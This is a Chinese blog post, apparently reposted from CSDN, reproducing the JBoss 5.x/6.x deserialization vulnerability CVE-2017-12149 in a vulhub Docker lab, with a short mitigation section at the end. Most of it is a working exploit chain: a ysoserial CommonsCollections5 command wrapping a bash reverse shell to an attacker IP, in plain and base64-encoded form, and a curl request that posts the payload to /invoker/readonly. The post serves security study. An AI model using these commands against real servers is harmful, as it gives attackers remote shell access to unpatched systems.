JBoss 5.x/6.x 反序列化漏洞复现(CVE-2017-12149)

一、漏洞说明
该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化
二、搭建环境
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
在这里插入图片描述在这里插入图片描述

三、漏洞验证
访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞
在这里插入图片描述

四、漏洞复现
使用JavaDeserH2HC攻击
使用工具JavaDeserH2HC
下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)
1.nc开启监听
在这里插入图片描述

2.生成序列化数据
 ① ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。所以我们使用 ysoserial 来复现生成序列化数据,并重定向到exp.ser文件。由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5,本来的命令是这样的:
java -jar ysoserial.jar CommonsCollections5 “bash -i >& /dev/tcp/192.168.155.2/21 0>&1” >exp.ser
在这里插入图片描述在这里插入图片描述

产生exp.ser,(192.168.155.2是攻击机ip)
在这里插入图片描述

②但是我们在使用bash反弹shell的时候,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码(点我在线编码),再使用,所以转化后的命令为:
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
在这里插入图片描述

执行完该命令之后,会在本地桌面生成一个序列化的文件exp.ser,并利用cat查看其内容。
在这里插入图片描述

然后,将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/invoker/readonly --data-binary @exp.ser
在这里插入图片描述在这里插入图片描述

五、防护
删除http-invoker.sar组件,路径如下
jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
升级JBoss

猜你喜欢

转载自blog.csdn.net/wutiangui/article/details/132804336